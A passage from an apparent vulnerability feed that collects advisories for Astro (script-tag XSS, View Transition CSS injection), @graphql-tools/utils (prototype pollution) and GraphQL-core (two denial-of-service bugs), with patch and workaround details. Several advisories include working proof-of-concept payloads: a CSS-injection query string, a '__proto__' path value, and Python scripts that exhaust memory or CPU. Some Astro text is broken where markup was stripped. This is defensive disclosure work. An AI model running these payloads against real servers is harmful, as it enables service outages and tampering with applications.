Other JSX expression contexts escaped dynamic strings automatically. This behavior was limited to `` passed to `` was emitted without escaping. The browser interpreted the first closing tag as markup and executed the injected script.
CVSS 6.5 (version 3.1; evidence as of Oct 22, 2026; https://github.com/advisories/GHSA-98hj-9722-w3j8).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114128&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-98hj-9722-w3j8: https://github.com/advisories/GHSA-98hj-9722-w3j8
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114128&date=2026-10-25
## Summary

Astro's JSX and MDX rendering pipeline treated string children of ``, an attacker-controlled value containing ` ` or ` ` could terminate the element and inject arbitrary HTML and JavaScript.

Other JSX expression contexts escaped dynamic strings automatically. This behavior was limited to `` passed to `` was emitted without escaping. The browser interpreted the first closing tag as markup and executed the injected script.

The fix preserves raw rendering for literal script and style content while escaping dynamic string children like other JSX expression values.

## Impact

Affected applications could be vulnerable to reflected or stored cross-site scripting. Exploitation required an application to pass attacker-controlled data directly as a dynamic child of a ` ` or ` ` element in MDX or through the `astro:jsx` runtime. Successful exploitation allowed arbitrary JavaScript execution in the victim's browser under the application's origin.

## Patches

This issue is patched in `astro@7.3.2`.

## Workarounds

Do not interpolate untrusted dynamic values directly into ` ` or ` ` element children. Applications that cannot upgrade should validate and contextually encode these values before rendering them.

## Credit

Reported by [@RKasai127](https://github.com/RKasai127).

Affected package ranges reported by GitHub:
astro: < 7.3.2
Action: GitHub lists first patched versions: astro: 7.3.2. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Astro: Arbitrary CSS injection in Astro View Transitions
https://kevwire.com/record/CVE-2026-114127
Astro: Arbitrary CSS injection in Astro View Transitions (Oct 22, 2026).
Astro's server-side View Transition CSS generator did not keep string animation properties within their generated CSS declarations. In an application that passes attacker-controlled data into an animation property such as `duration`, a value containing CSS delimiters could terminate the declaration and rule, then add attacker-selected CSS to the server-rendered page.

The injected content remains inside the generated ` ` element. It cannot terminate that element or inject HTML or JavaScript because Astro escapes ` ` element. CSS delimiters such as `;`, `{`, and `}` remained active, allowing a value to escape its intended declaration and add another rule.
CVSS 2.3 (version 4.0; evidence as of Oct 22, 2026; https://github.com/advisories/GHSA-mpr7-6m5w-76rw).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114127&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-mpr7-6m5w-76rw: https://github.com/advisories/GHSA-mpr7-6m5w-76rw
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114127&date=2026-10-25
### Summary

Astro's server-side View Transition CSS generator did not keep string animation properties within their generated CSS declarations. In an application that passes attacker-controlled data into an animation property such as `duration`, a value containing CSS delimiters could terminate the declaration and rule, then add attacker-selected CSS to the server-rendered page.

The injected content remains inside the generated ` ` element. It cannot terminate that element or inject HTML or JavaScript because Astro escapes ` ` element. CSS delimiters such as `;`, `{`, and `}` remained active, allowing a value to escape its intended declaration and add another rule.

The shared serializer handles `duration`, `delay`, `easing`, `direction`, `fillMode`, and animation names, so custom transition objects using those string properties followed the same path.

The fix encodes CSS declaration delimiters while serializing each animation value. Supported CSS functions and strings, including `calc()` and `var()`, remain unchanged.

### Proof of Concept

Using `astro@7.3.2`, create an on-demand rendered page:

```astro
---
import { fade } from "astro:transitions";
const duration = Astro.url.searchParams.get("duration") ?? "1ms";
---
 SAFE

```

Request the page with:

```text
/?duration=1ms%3B%7D%23target%7Bcolor%3Argb(1%2C2%2C3)%3Bfont-size%3A37px%7Dx%7Banimation-duration%3A1ms
```

Before the fix, the generated stylesheet contains an active rule equivalent to:

```css
#target {
 color: rgb(1, 2, 3);
 font-size: 37px;
}
```

In Chromium, the target's computed styles change to `rgb(1, 2, 3)` and `37px`. This behavior is reproducible in a production standalone SSR build, not only in the development server.

### Impact

An attacker can inject CSS into the affected application's rendered page when the application places attacker-controlled data into a transition animation value. The CSS can restyle or conceal content, reposition existing controls, add generated text, or otherwise misrepresent the page's UI.

CSS selectors and conditional resource loads may expose data already present in selectable DOM attributes in some applications, depending on the page and its Content Security Policy. The issue does not expose cookies, server-only values, arbitrary DOM text, or cross-origin response data by itself.

### Affected Versions

`astro >= 7.1.0, ` element and injecting HTML or JavaScript.

### Patched Versions

This issue is patched in `astro@7.3.3`. Fix: https://github.com/withastro/astro/pull/17970

### Workarounds

Do not pass untrusted or request-derived values into View Transition animation properties. If dynamic values are required, validate them according to the expected CSS grammar before constructing the transition. For `duration` and `delay`, prefer finite numbers or strictly validated CSS time values.

### Credits

Reported by @avrlab233.

Affected package ranges reported by GitHub:
astro: >= 7.1.0, <= 7.3.2
Action: GitHub lists first patched versions: astro: 7.3.3. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### GraphQL Tools: Prototype pollution in mergeIncrementalResult via non-primitive path segments
https://kevwire.com/record/CVE-2026-114604
GraphQL Tools: Prototype pollution in mergeIncrementalResult via non-primitive path segments (Oct 22, 2026).
| Field | Value |
| --- | --- |
| Package | `@graphql-tools/utils` (npm, `pkg:github/ardatan/graphql-tools`) |
| Repository | https://github.com/ardatan/graphql-tools |
| Component | `mergeIncrementalResult` / `setObjectKeyPath` (`packages/utils/src/mergeIncrementalResult.ts`) |
| Vulnerability class | Prototype pollution (via unvalidated object path traversal) |
| Verified against | Source read at `134d67ae36a559651f43ec7fe4a9da76f4a00c2b`; `master` HEAD `ccca0ff0dc8ea20726fd116b2f19a38709c30e62`; published npm builds 10.10.0, 10.10.1, 11.0.0, 12.0.0, 12.0.1 |
| Affected versions | `@graphql-tools/utils` >= 10.10.1 through the scanned 12.0.0 source; introduced by `fbb58b51c4993ba9680ce6c2ef7203ab3a142713` ("remove dset dependency"). 12.0.1 also reproduces. 10.10.0 does not. |
| API surface | Public, documented export (`packages/utils/src/index.ts:55`) |
| Affected in default configuration | Yes — no options are involved; the forbidden-key check in `setObjectKeyPath` is the only defense and it is on by default |

`mergeIncrementalResult` merges an incremental GraphQL response part into an accumulated execution result by walking `['data', ...incrementalResult.path]` and assigning at the resolved location. `setObjectKeyPath` tries to reject dangerous segments with strict string equality against `'__proto__'`, `'constructor'` and `'prototype'` (lines 50-52 and 60-62), but it never validates that a path segment is a primitive string or number. A JSON path segment such as `["__proto__"]` is an array object, so `["__proto__"] !== '__proto__'` and the guard passes; the very next statement does `current[key]`, whose `ToPropertyKey` coercion turns that array into the string key `"__proto__"` and resolves `Object.prototype`. The following, innocuous-looking segment is then assigned directly onto `Object.prototype`.
CVSS 8.4 (version 4.0; evidence as of Oct 22, 2026; https://github.com/advisories/GHSA-c4qx-w738-7hr3).
Sources:
GitHub-reviewed advisory GHSA-c4qx-w738-7hr3: https://github.com/advisories/GHSA-c4qx-w738-7hr3
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D
## Report metadata

| Field | Value |
| --- | --- |
| Package | `@graphql-tools/utils` (npm, `pkg:github/ardatan/graphql-tools`) |
| Repository | https://github.com/ardatan/graphql-tools |
| Component | `mergeIncrementalResult` / `setObjectKeyPath` (`packages/utils/src/mergeIncrementalResult.ts`) |
| Vulnerability class | Prototype pollution (via unvalidated object path traversal) |
| Verified against | Source read at `134d67ae36a559651f43ec7fe4a9da76f4a00c2b`; `master` HEAD `ccca0ff0dc8ea20726fd116b2f19a38709c30e62`; published npm builds 10.10.0, 10.10.1, 11.0.0, 12.0.0, 12.0.1 |
| Affected versions | `@graphql-tools/utils` >= 10.10.1 through the scanned 12.0.0 source; introduced by `fbb58b51c4993ba9680ce6c2ef7203ab3a142713` ("remove dset dependency"). 12.0.1 also reproduces. 10.10.0 does not. |
| API surface | Public, documented export (`packages/utils/src/index.ts:55`) |
| Affected in default configuration | Yes — no options are involved; the forbidden-key check in `setObjectKeyPath` is the only defense and it is on by default |

## Summary

`mergeIncrementalResult` merges an incremental GraphQL response part into an accumulated execution result by walking `['data', ...incrementalResult.path]` and assigning at the resolved location. `setObjectKeyPath` tries to reject dangerous segments with strict string equality against `'__proto__'`, `'constructor'` and `'prototype'` (lines 50-52 and 60-62), but it never validates that a path segment is a primitive string or number. A JSON path segment such as `["__proto__"]` is an array object, so `["__proto__"] !== '__proto__'` and the guard passes; the very next statement does `current[key]`, whose `ToPropertyKey` coercion turns that array into the string key `"__proto__"` and resolves `Object.prototype`. The following, innocuous-looking segment is then assigned directly onto `Object.prototype`.

In a consuming app, `incrementalResult` is the response part being merged — data parsed from an upstream `@defer`/`@stream` multipart or incremental-delivery response from another GraphQL server or transport. The `ExecutionResult` TypeScript annotation is not a runtime check, so a malicious, compromised, or MITM'd upstream can choose the `path` value and therefore choose global prototype keys and values in the gateway or client process.

Comparable paths through the same helper, for contrast:

- Plain string segment `"__proto__"` -> blocked by strict equality, lines 50-52 (confirmed by a control case in testing)
- Array segment `["__proto__"]` -> **unsafe: passes the guard at lines 50-52, then coerced to the `__proto__` key at lines 53-57**
- Same operation in 10.10.0 and earlier, which used `dset` -> not exploitable (0/5 attack payloads succeeded)

## Impact

A malicious incremental GraphQL response can add arbitrary properties with attacker-chosen values to `Object.prototype` in the consuming Node.js process. Because every plain object inherits from it, this can change authorization and configuration checks and the behavior of unrelated code elsewhere in the process — a networked PoC set `Object.prototype.isAdmin = true` and `Object.prototype.ownerEmail`, after which a consumer-style check `opts.isAdmin === true` on a freshly created `{}` returned `true`.

The delta over the safe behaviour: without this traversal flaw, a hostile upstream response can only influence the GraphQL data returned to the caller — a bounded, in-band effect. With `path: [["__proto__"], "isAdmin"]`, the write lands on `Object.prototype`, escaping the response object entirely and affecting objects created later and code that never touches the response.

Scoring note: **this report deliberately carries no CVSS vector.** No score was produced for it, and exploitability depends on the consuming application's data flow — specifically whether it merges incremental results from an upstream it does not control, and how much it relies on inherited defaults. Consumers who are **not** affected: anything on `@graphql-tools/utils` 10.10.0 or earlier (the `dset`-based implementation blocked all tested payloads); processes that freeze `Object.prototype`; and consumers that runtime-validate incremental `path` segments to primitives before calling the helper. Note also that `graphql-tools`' own production code does not call `mergeIncrementalResult` directly — it is exported for consumers assembling incremental transport results.

## Preconditions

1. The consumer calls the public `mergeIncrementalResult` helper on incremental payloads received from another GraphQL server or other untrusted transport. No special options are needed.
2. The incremental payload is not runtime-validated to contain only primitive string/number `path` segments before the call. This is the default: `packages/utils/src/index.ts:55` exports the helper directly, with no runtime validation and no documented warning, and the behaviour is not documented as a caller responsibility.
3. The attacker can return a malformed incremental `path` value — i.e. controls, has compromised, or can MITM the upstream subgraph/transport.
4. The process has not frozen `Object.prototype`.

This requires **no** non-standard usage, monkey-patching, or unusual configuration: the documented happy path of the exported helper is affected. The only defense present in the code is the strict-equality forbidden-key check added at lines 50 and 60, which itself shows the author treats these path segments as untrusted input. No documentation warning about the trust requirement was found (documentation review is limited to the exported symbol at `packages/utils/src/index.ts:55`; a broader docs audit is **not verified**).

## Data flow

1. **Source** — the attacker-controlled `incrementalResult.path`, taken from the object passed to the public merge helper, is spread into the key path: `const path = ['data', ...(incrementalResult.path ?? [])];` ([`packages/utils/src/mergeIncrementalResult.ts:12`](https://github.com/ardatan/graphql-tools/blob/134d67ae36a559651

Affected package ranges reported by GitHub:
@graphql-tools/utils: >= 10.10.1, <= 12.0.1
Action: GitHub lists first patched versions: @graphql-tools/utils: 12.0.2. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### GraphQL-core: Denial of service via comment tokens bypassing the parser's max_tokens limit
https://kevwire.com/record/CVE-2026-75508
GraphQL-core: Denial of service via comment tokens bypassing the parser's max_tokens limit (Oct 22, 2026).
The parser's `max_tokens` limit — the documented defence against oversized GraphQL
documents — did not count comment tokens. A document padded with comments could
therefore pass a `max_tokens` check of any size while still allocating one `Token`
object per comment, all of which stay reachable for the lifetime of the parsed
document. A 38 MB comment-padded payload allocated roughly 92 MB of additional
resident memory with `max_tokens=5` in force.

`Lexer.lookahead()` reads tokens one at a time and skips over comments, returning only
the first non-comment token. Each skipped comment is nevertheless fully tokenized,
allocated as a `Token` object, and linked into the persistent token list via
`token.next` / `token.prev` — the chain that powers source-location reporting, and
which is retained as long as the document is.
CVSS 7.5 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-75508).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-75508&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-r77w-qph3-7vf8: https://github.com/advisories/GHSA-r77w-qph3-7vf8
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D
NVD CVE-2026-75508: https://nvd.nist.gov/vuln/detail/CVE-2026-75508
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-75508&date=2026-10-25
### Summary

The parser's `max_tokens` limit — the documented defence against oversized GraphQL
documents — did not count comment tokens. A document padded with comments could
therefore pass a `max_tokens` check of any size while still allocating one `Token`
object per comment, all of which stay reachable for the lifetime of the parsed
document. A 38 MB comment-padded payload allocated roughly 92 MB of additional
resident memory with `max_tokens=5` in force.

### Details

`Lexer.lookahead()` reads tokens one at a time and skips over comments, returning only
the first non-comment token. Each skipped comment is nevertheless fully tokenized,
allocated as a `Token` object, and linked into the persistent token list via
`token.next` / `token.prev` — the chain that powers source-location reporting, and
which is retained as long as the document is.

`Parser.advance_lexer()` incremented the token counter only for the tokens the lexer
actually returned. Comments were therefore invisible to the accounting, and
`max_tokens` bounded only the *non-comment* tokens.

The practical consequence is a gap between what users reasonably believe `max_tokens`
protects and what it did protect. The limit was not broken for ordinary documents —
real tokens were still capped correctly — so the shortfall was not observable without
specifically testing comment padding.

As with the companion issue, the payload compresses extremely well (`# c\n` repeated),
so body-size limits and WAF inspection applied to the compressed request do not see
its true size, while the framework decompresses it in memory before the parser is
reached.

### Proof of concept

```python
import gc
import resource
from graphql import parse

# 100,000 comments, a 5-token query, and max_tokens=5 — accepted.
query = "# c\n" * 100_000 + "{ a }"
parse(query, max_tokens=5) # no error raised

# Memory amplification.
big = "# padding comment used to amplify memory per token\n" * 500_000 + "{ a }"
gc.collect()
before = resource.getrusage(resource.RUSAGE_SELF).ru_maxrss
parse(big, max_tokens=5) # ~38 MB source
after = resource.getrusage(resource.RUSAGE_SELF).ru_maxrss
print(f"RSS delta: +{(after - before) / 1024:.0f} MB")
```

Measured on GraphQL-core 3.2.8 / CPython 3.12 / Linux x86_64: the 391 KB payload
parsed in 127 ms, and the 38.1 MB payload produced an RSS delta of **+92 MB** — about
2.4× the source size, on top of the source string itself.

### Impact

Denial of service through memory exhaustion. A modest number of concurrent requests
can push a worker past a typical 256 MB or 512 MB container limit and trigger an
OOM kill. No authentication is required, and no data is disclosed or modified.

Depth limiters and complexity analyzers do not help: they run on the AST after parsing
has already succeeded, and the document contains only five real tokens.

### Patches

Fixed in **3.2.12** and **3.3.0rc1**.

`Parser.advance_lexer` now counts every token consumed, including the comment tokens
the lexer skips between the previously focused token and the new one, and including
the advance onto EOF so that trailing comments are covered. `max_tokens` therefore now
bounds every `Token` the parser allocates.

Note the behaviour change: **comments now count toward `max_tokens`.** A
comment-heavy document that was previously accepted may now be rejected. If you parse
documents containing substantial comments — SDL files with documentation comments, for
instance — and you set `max_tokens`, you may need to raise the limit. The
`token_count` attribute of a parsed document likewise now includes comments.

### Workarounds

If you cannot upgrade, apply a request body-size limit to the **decompressed** body
before the document reaches `parse()`.

Such a limit is worth keeping after upgrading as well: `max_tokens` is one guard among
several and bounds the token count, not the overall cost of a request.

### References

- GraphQL specification § 2.1.4 — Comments

### Credits

Reported by @BZHunt, who also reviewed the fixes
before release. In memory of ZaX, who was the driving force behind this discovery.

Affected package ranges reported by GitHub:
graphql-core: >= 3.2.3, < 3.2.12
graphql-core: >= 3.3.0a3, < 3.3.0rc1
Action: GitHub lists first patched versions: graphql-core: 3.2.12; graphql-core: 3.3.0rc1. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### GraphQL-core: Denial of service via quadratic complexity in the OverlappingFieldsCanBeMerged validation rule
https://kevwire.com/record/CVE-2026-75507
GraphQL-core: Denial of service via quadratic complexity in the OverlappingFieldsCanBeMerged validation rule (Oct 22, 2026).
The `OverlappingFieldsCanBeMerged` validation rule can be driven into quadratic — and
in the worst case `O(n²·m²)` — running time by a small, highly compressible query. A
single 364 KB document can occupy one CPU core for over five minutes during
*validation*, before any resolver runs. Because the rule is part of `specified_rules`
and therefore enabled by default, every GraphQL-core based server is affected at
default settings.

`OverlappingFieldsCanBeMerged` compares every pair of fields that share a response
name and recurses into their sub-selections. The memoization added for
CVE-2023-26144 (`GHSA-9pv7-vfvm-6vr7`) is keyed by **named fragment** identity, so it
does not cover this path: inline fragments are flattened into the parent selection
set before the cache is consulted, and therefore every pair is re-compared from
scratch at every nesting level.
CVSS 7.5 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-75507).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-75507&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-vj8h-fx38-h3vc: https://github.com/advisories/GHSA-vj8h-fx38-h3vc
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D
NVD CVE-2026-75507: https://nvd.nist.gov/vuln/detail/CVE-2026-75507
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-75507&date=2026-10-25
### Summary

The `OverlappingFieldsCanBeMerged` validation rule can be driven into quadratic — and
in the worst case `O(n²·m²)` — running time by a small, highly compressible query. A
single 364 KB document can occupy one CPU core for over five minutes during
*validation*, before any resolver runs. Because the rule is part of `specified_rules`
and therefore enabled by default, every GraphQL-core based server is affected at
default settings.

### Details

`OverlappingFieldsCanBeMerged` compares every pair of fields that share a response
name and recurses into their sub-selections. The memoization added for
CVE-2023-26144 (`GHSA-9pv7-vfvm-6vr7`) is keyed by **named fragment** identity, so it
does not cover this path: inline fragments are flattened into the parent selection
set before the cache is consulted, and therefore every pair is re-compared from
scratch at every nesting level.

Repeating an inline fragment that selects the same response name at two nesting
levels multiplies the two effects. There was no comparison budget and no validation
timeout, so the rule ran to completion regardless of cost.

The cost is incurred in the **validation phase**, which is what makes this hard to
defend against from outside the library: query-depth limiters, complexity analyzers
and cost estimators all operate on the parsed document *after* validation, and the
malicious document is trivially shallow (depth 3, complexity 1). The payload is also
one short string repeated many times, so it compresses to a few kilobytes and slips
past body-size limits and WAF inspection that only see the compressed request.

### Proof of concept

```python
import time
from graphql import build_schema, parse, validate

schema = build_schema(
 "type Query { field: Node } type Node { f: Node, g: Node, x: String }"
)

def gen(n: int, m: int) -> str:
 inner = " ".join(["... on Node { x }"] * m)
 outer = " ".join([f"... on Node {{ f {{ {inner} }} }}"] * n)
 return f"{{ field {{ {outer} }} }}"

query = gen(200, 100) # 364 KB, gzips to a few KB
document = parse(query)
start = time.perf_counter()
validate(schema, document) # returns no errors — it just burns CPU
print(f"{(time.perf_counter() - start):.0f}s")
```

Measured on GraphQL-core 3.2.8 / CPython 3.12 / Linux x86_64:

| n | m | query size | validation time |
|---|---|---|---|
| 20 | 20 | 7.6 KB | 0.16 s |
| 50 | 50 | 46 KB | 5.2 s |
| 100 | 100 | 182 KB | 81 s |
| 200 | 100 | 364 KB | **319 s** |

Doubling `n` at fixed `m` quadruples the time, as expected for a quadratic outer loop
driving a quadratic inner walk.

### Impact

Denial of service. One request pins one worker process for minutes; because CPython
holds the GIL for this pure-CPU work, a handful of concurrent requests can saturate a
typical multi-worker deployment. No authentication is required, and no data is
disclosed or modified.

### Patches

